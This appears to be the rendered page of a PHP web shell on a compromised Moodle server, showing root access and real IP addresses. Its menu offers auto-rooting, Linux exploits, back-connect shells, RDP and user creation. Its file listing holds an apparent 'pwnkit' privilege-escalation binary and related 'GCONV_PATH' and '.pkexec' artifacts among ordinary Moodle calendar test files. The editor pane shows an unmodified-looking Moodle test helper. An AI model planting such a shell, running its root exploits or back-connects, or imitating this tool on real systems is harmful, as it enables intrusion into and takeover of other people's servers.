Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
calendar /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxr-x
fixtures
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
action_event_test.php
5.16
KB
-rw-rw-r--
action_factory_test.php
1.58
KB
-rw-rw-r--
action_test.php
2.58
KB
-rw-rw-r--
calendar_event_exporter_test.p...
10.96
KB
-rw-rw-r--
calendar_information_test.php
48.98
KB
-rw-rw-r--
calendartype_test.php
12.29
KB
-rw-rw-r--
calendartype_test_example.php
9.27
KB
-rw-rw-r--
cm_info_proxy_test.php
2.04
KB
-rw-rw-r--
container_test.php
21.84
KB
-rw-rw-r--
coursecat_proxy_test.php
2.26
KB
-rw-rw-r--
event_description_test.php
2.2
KB
-rw-rw-r--
event_factory_test.php
15.57
KB
-rw-rw-r--
event_mapper_test.php
12.43
KB
-rw-rw-r--
event_test.php
4.68
KB
-rw-rw-r--
event_times_test.php
2.93
KB
-rw-rw-r--
event_vault_test.php
45.3
KB
-rw-rw-r--
events_related_objects_cache_t...
5.33
KB
-rw-rw-r--
events_test.php
31.85
KB
-rw-rw-r--
externallib_test.php
108.04
KB
-rw-rw-r--
helpers.php
5.19
KB
-rw-rw-r--
lib_test.php
46.04
KB
-rw-rw-r--
local_api_test.php
57.21
KB
-rw-rw-r--
privacy_test.php
24.09
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
raw_event_retrieval_strategy_t...
16.02
KB
-rw-rw-r--
repeat_event_collection_test.p...
7.17
KB
-rw-rw-r--
rrule_manager_test.php
115.35
KB
-rw-rw-r--
std_proxy_test.php
4.71
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : helpers.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file contains helper classes and functions for testing. * * @package core_calendar * @copyright 2017 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/calendar/lib.php'); use core_calendar\local\event\entities\action_event; use core_calendar\local\event\entities\event; use core_calendar\local\event\entities\repeat_event_collection; use core_calendar\local\event\proxies\std_proxy; use core_calendar\local\event\proxies\coursecat_proxy; use core_calendar\local\event\proxies\cm_info_proxy; use core_calendar\local\event\value_objects\action; use core_calendar\local\event\value_objects\event_description; use core_calendar\local\event\value_objects\event_times; use core_calendar\local\event\factories\event_factory_interface; /** * Create a calendar event with the given properties. * * @param array $properties The properties to set on the event * @return \calendar_event */ function create_event($properties) { $record = new \stdClass(); $record->name = 'event name'; $record->eventtype = 'global'; $record->repeat = 0; $record->repeats = 0; $record->timestart = time(); $record->timeduration = 0; $record->timesort = 0; $record->type = CALENDAR_EVENT_TYPE_STANDARD; $record->courseid = 0; $record->categoryid = 0; foreach ($properties as $name => $value) { $record->$name = $value; } $event = new \calendar_event($record); return $event->create($record); } /** * A test factory that will create action events. * * @copyright 2017 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or late */ class action_event_test_factory implements event_factory_interface { /** * @var callable $callback. */ private $callback; /** * A test factory that will create action events. The factory accepts a callback * that will be used to determine if the event should be returned or not. * * The callback will be given the event and should return true if the event * should be returned and false otherwise. * * @param callable $callback The callback. */ public function __construct($callback = null) { $this->callback = $callback; } public function create_instance(\stdClass $record) { $module = null; $subscription = null; if ($record->instance && $record->modulename) { $module = new cm_info_proxy($record->instance, $record->modulename, $record->courseid); } if ($record->subscriptionid) { $subscription = new std_proxy($record->subscriptionid, function($id) { return (object)['id' => $id]; }); } $event = new event( $record->id, $record->name, new event_description($record->description, $record->format), new coursecat_proxy($record->categoryid), new std_proxy($record->courseid, function($id) { $course = new \stdClass(); $course->id = $id; return $course; }), new std_proxy($record->groupid, function($id) { $group = new \stdClass(); $group->id = $id; return $group; }), new std_proxy($record->userid, function($id) { $user = new \stdClass(); $user->id = $id; return $user; }), !empty($record->repeatid) ? new repeat_event_collection($record, $this) : null, $module, $record->eventtype, new event_times( (new \DateTimeImmutable())->setTimestamp($record->timestart), (new \DateTimeImmutable())->setTimestamp($record->timestart + $record->timeduration), (new \DateTimeImmutable())->setTimestamp($record->timesort ? $record->timesort : $record->timestart), (new \DateTimeImmutable())->setTimestamp($record->timemodified) ), !empty($record->visible), $subscription ); $action = new action( 'Test action', new \moodle_url('/'), 1, true ); $actionevent = new action_event($event, $action); if ($callback = $this->callback) { return $callback($actionevent) ? $actionevent : false; } else { return $actionevent; } } }
Close